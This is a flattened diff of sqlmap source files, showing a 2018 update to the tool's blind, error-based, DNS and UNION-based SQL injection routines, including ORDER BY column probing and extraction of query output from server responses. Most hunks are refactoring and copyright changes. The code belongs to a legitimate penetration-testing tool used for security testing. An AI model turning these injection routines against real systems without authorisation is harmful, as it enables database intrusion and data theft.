asciiTbl = sorted(set(ord(_) for _ in conf.charset)) asciiTbl = sorted(set(ord(_) for _ in conf.charset))
else: else:
@@ -187,7 +190,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
with hintlock: with hintlock:
hintValue = kb.hintValue hintValue = kb.hintValue
if hintValue is not None and len(hintValue) >= idx: if payload is not None and hintValue is not None and len(hintValue) >= idx:
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
posValue = hintValue[idx - 1] posValue = hintValue[idx - 1]
else: else:
@@ -223,7 +226,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
if result and timeBasedCompare: if result and timeBasedCompare and kb.injection.data[kb.technique].trueCode:
result = threadData.lastCode == kb.injection.data[kb.technique].trueCode result = threadData.lastCode == kb.injection.data[kb.technique].trueCode
if not result: if not result:
warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode) warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode)
@@ -625,7 +628,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
threadData.shared.value = partialValue = partialValue + val threadData.shared.value = partialValue = partialValue + val
if showEta: if showEta:
progress.progress(time.time() - charStart, index) progress.progress(calculateDeltaSeconds(start), index)
elif conf.verbose in (1, 2) or conf.api: elif conf.verbose in (1, 2) or conf.api:
dataToStdout(filterControlChars(val)) dataToStdout(filterControlChars(val))

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -14,7 +14,6 @@ from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapNotVulnerableException
from lib.techniques.dns.use import dnsUse from lib.techniques.dns.use import dnsUse
def dnsTest(payload): def dnsTest(payload):
logger.info("testing for data retrieval through DNS channel") logger.info("testing for data retrieval through DNS channel")

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -33,7 +33,6 @@ from lib.core.settings import PARTIAL_VALUE_MARKER
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
def dnsUse(payload, expression): def dnsUse(payload, expression):
""" """
Retrieve the output of a SQL query taking advantage of the DNS Retrieve the output of a SQL query taking advantage of the DNS

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -76,7 +76,10 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
current = MAX_ERROR_CHUNK_LENGTH current = MAX_ERROR_CHUNK_LENGTH
while current >= MIN_ERROR_CHUNK_LENGTH: while current >= MIN_ERROR_CHUNK_LENGTH:
testChar = str(current % 10) testChar = str(current % 10)
testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery)
result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True)) result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))
if (result or "").startswith(testChar): if (result or "").startswith(testChar):
@@ -130,20 +133,23 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
# Parse the returned page to get the exact error-based # Parse the returned page to get the exact error-based
# SQL injection output # SQL injection output
output = reduce(lambda x, y: x if x is not None else y, (\ output = reduce(lambda x, y: x if x is not None else y, (
extractRegexResult(check, page), \ extractRegexResult(check, page),
extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), \ extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)), \ extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)), \ extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)),
None) None
)
if output is not None: if output is not None:
output = getUnicode(output) output = getUnicode(output)
else: else:
trimmed = extractRegexResult(trimcheck, page) \ trimmed = (
or extractRegexResult(trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) \ extractRegexResult(trimcheck, page) or
or extractRegexResult(trimcheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)) \ extractRegexResult(trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) or
or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None) extractRegexResult(trimcheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)) or
extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
)
if trimmed: if trimmed:
if not chunkTest: if not chunkTest:
@@ -305,12 +311,7 @@ def errorUse(expression, dump=False):
# entry at a time # entry at a time
# NOTE: we assume that only queries that get data from a table can # NOTE: we assume that only queries that get data from a table can
# return multiple entries # return multiple entries
if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \ if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \
or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
if limitCond: if limitCond:
@@ -330,7 +331,7 @@ def errorUse(expression, dump=False):
else: else:
stopLimit = int(count) stopLimit = int(count)
infoMsg = "the SQL query used returns " infoMsg = "used SQL query returns "
infoMsg += "%d entries" % stopLimit infoMsg += "%d entries" % stopLimit
logger.info(infoMsg) logger.info(infoMsg)
@@ -413,7 +414,7 @@ def errorUse(expression, dump=False):
break break
if output and isListLike(output) and len(output) == 1: if output and isListLike(output) and len(output) == 1:
output = output[0] output = unArrayizeValue(output)
with kb.locks.value: with kb.locks.value:
index = None index = None
@@ -445,7 +446,7 @@ def errorUse(expression, dump=False):
value = _errorFields(expression, expressionFields, expressionFieldsList) value = _errorFields(expression, expressionFields, expressionFieldsList)
if value and isListLike(value) and len(value) == 1 and isinstance(value[0], basestring): if value and isListLike(value) and len(value) == 1 and isinstance(value[0], basestring):
value = value[0] value = unArrayizeValue(value)
duration = calculateDeltaSeconds(start) duration = calculateDeltaSeconds(start)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -27,6 +27,7 @@ from lib.core.common import wasLastResponseDBMSError
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import PAYLOAD from lib.core.enums import PAYLOAD
from lib.core.settings import LIMITED_ROWS_TEST_NUMBER from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
@@ -48,15 +49,16 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
""" """
retVal = None retVal = None
def _orderByTechnique(): @stackedmethod
def _orderByTechnique(lowerCount=None, upperCount=None):
def _orderByTest(cols): def _orderByTest(cols):
query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
query = agent.suffixQuery(query, suffix=suffix, comment=comment) query = agent.suffixQuery(query, suffix=suffix, comment=comment)
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None
if _orderByTest(1) and not _orderByTest(randomInt()): if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1):
infoMsg = "'ORDER BY' technique appears to be usable. " infoMsg = "'ORDER BY' technique appears to be usable. "
infoMsg += "This should reduce the time needed " infoMsg += "This should reduce the time needed "
infoMsg += "to find the right number " infoMsg += "to find the right number "
@@ -64,10 +66,10 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
infoMsg += "range for current UNION query injection technique test" infoMsg += "range for current UNION query injection technique test"
singleTimeLogMessage(infoMsg) singleTimeLogMessage(infoMsg)
lowCols, highCols = 1, ORDER_BY_STEP lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount
found = None found = None
while not found: while not found:
if _orderByTest(highCols): if not conf.uCols and _orderByTest(highCols):
lowCols = highCols lowCols = highCols
highCols += ORDER_BY_STEP highCols += ORDER_BY_STEP
else: else:
@@ -88,8 +90,8 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
kb.errorIsNone = False kb.errorIsNone = False
lowerCount, upperCount = conf.uColsStart, conf.uColsStop lowerCount, upperCount = conf.uColsStart, conf.uColsStop
if lowerCount == 1: if kb.orderByColumns is None and (lowerCount == 1 or conf.uCols): # ORDER BY is not bullet-proof
found = kb.orderByColumns or _orderByTechnique() found = _orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique()
if found: if found:
kb.orderByColumns = found kb.orderByColumns = found
infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "") infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "")
@@ -114,10 +116,10 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
items.append((count, ratio)) items.append((count, ratio))
if not isNullValue(kb.uChar): if not isNullValue(kb.uChar):
for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar): for regex in (kb.uChar.strip("'"), r'>\s*%s\s*<' % kb.uChar.strip("'")):
contains = [(count, re.search(regex, _ or "", re.IGNORECASE) is not None) for count, _ in pages.items()] contains = [count for count, content in pages.items() if re.search(regex, content or "", re.IGNORECASE) is not None]
if len(filter(lambda _: _[1], contains)) == 1: if len(contains) == 1:
retVal = filter(lambda _: _[1], contains)[0][0] retVal = contains[0]
break break
if not retVal: if not retVal:
@@ -142,6 +144,8 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE: elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
deviation = stdev(ratios) deviation = stdev(ratios)
if deviation is not None:
lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
if min_ < lower: if min_ < lower:
@@ -178,7 +182,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
for position in positions: for position in positions:
# Prepare expression with delimiters # Prepare expression with delimiters
randQuery = randomStr(charCount) randQuery = randomStr(charCount)
phrase = "%s%s%s".lower() % (kb.chars.start, randQuery, kb.chars.stop) phrase = ("%s%s%s" % (kb.chars.start, randQuery, kb.chars.stop)).lower()
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
randQueryUnescaped = unescaper.escape(randQueryProcessed) randQueryUnescaped = unescaper.escape(randQueryProcessed)
@@ -188,9 +192,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
# Perform the request # Perform the request
page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \ content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower()
removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
payload, True) or "")
if content and phrase in content: if content and phrase in content:
validPayload = payload validPayload = payload
@@ -200,7 +202,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
if where == PAYLOAD.WHERE.ORIGINAL: if where == PAYLOAD.WHERE.ORIGINAL:
# Prepare expression with delimiters # Prepare expression with delimiters
randQuery2 = randomStr(charCount) randQuery2 = randomStr(charCount)
phrase2 = "%s%s%s".lower() % (kb.chars.start, randQuery2, kb.chars.stop) phrase2 = ("%s%s%s" % (kb.chars.start, randQuery2, kb.chars.stop)).lower()
randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
randQueryUnescaped2 = unescaper.escape(randQueryProcessed2) randQueryUnescaped2 = unescaper.escape(randQueryProcessed2)
@@ -210,7 +212,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
# Perform the request # Perform the request
page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "") content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower()
if not all(_ in content for _ in (phrase, phrase2)): if not all(_ in content for _ in (phrase, phrase2)):
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True) vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True)
@@ -223,9 +225,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
# Perform the request # Perform the request
page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \ content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower()
removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
payload, True) or "")
if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER: if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
warnMsg = "output with limited number of rows detected. Switching to partial mode" warnMsg = "output with limited number of rows detected. Switching to partial mode"
logger.warn(warnMsg) logger.warn(warnMsg)
@@ -267,6 +267,8 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
validPayload = None validPayload = None
vector = None vector = None
orderBy = kb.orderByColumns
uChars = (conf.uChar, kb.uChar)
# In case that user explicitly stated number of columns affected # In case that user explicitly stated number of columns affected
if conf.uColsStop == conf.uColsStart: if conf.uColsStop == conf.uColsStart:
@@ -277,7 +279,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
if count: if count:
validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count)
if not all([validPayload, vector]) and not all([conf.uChar, conf.dbms]): if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms)):
warnMsg = "if UNION based SQL injection is not detected, " warnMsg = "if UNION based SQL injection is not detected, "
warnMsg += "please consider " warnMsg += "please consider "
@@ -298,9 +300,13 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
warnMsg += "forcing the " warnMsg += "forcing the "
warnMsg += "back-end DBMS (e.g. '--dbms=mysql') " warnMsg += "back-end DBMS (e.g. '--dbms=mysql') "
if not all([validPayload, vector]) and not warnMsg.endswith("consider "): if not all((validPayload, vector)) and not warnMsg.endswith("consider "):
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
if count and orderBy is None and kb.orderByColumns is not None: # discard ORDER BY results (not usable - e.g. maybe invalid altogether)
conf.uChar, kb.uChar = uChars
validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
return validPayload, vector return validPayload, vector
def unionTest(comment, place, parameter, value, prefix, suffix): def unionTest(comment, place, parameter, value, prefix, suffix):

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -44,6 +44,7 @@ from lib.core.data import logger
from lib.core.data import queries from lib.core.data import queries
from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import HTTP_HEADER
from lib.core.enums import PAYLOAD from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapDataException
from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapSyntaxException
@@ -89,11 +90,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
# Parse the returned page to get the exact UNION-based # Parse the returned page to get the exact UNION-based
# SQL injection output # SQL injection output
def _(regex): def _(regex):
return reduce(lambda x, y: x if x is not None else y, (\ return reduce(lambda x, y: x if x is not None else y, (extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), None)
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
None)
# Automatically patching last char trimming cases # Automatically patching last char trimming cases
if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
@@ -236,13 +233,7 @@ def unionUse(expression, unpack=True, dump=False):
# SQL limiting the query output one entry at a time # SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table can # NOTE: we assume that only queries that get data from a table can
# return multiple entries # return multiple entries
if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \ if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
kb.forcePartialUnion or \
(dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \
" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \
and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
if limitCond: if limitCond:
@@ -262,7 +253,7 @@ def unionUse(expression, unpack=True, dump=False):
else: else:
stopLimit = int(count) stopLimit = int(count)
infoMsg = "the SQL query used returns " infoMsg = "used SQL query returns "
infoMsg += "%d entries" % stopLimit infoMsg += "%d entries" % stopLimit
logger.info(infoMsg) logger.info(infoMsg)

Some files were not shown because too many files have changed in this diff Show More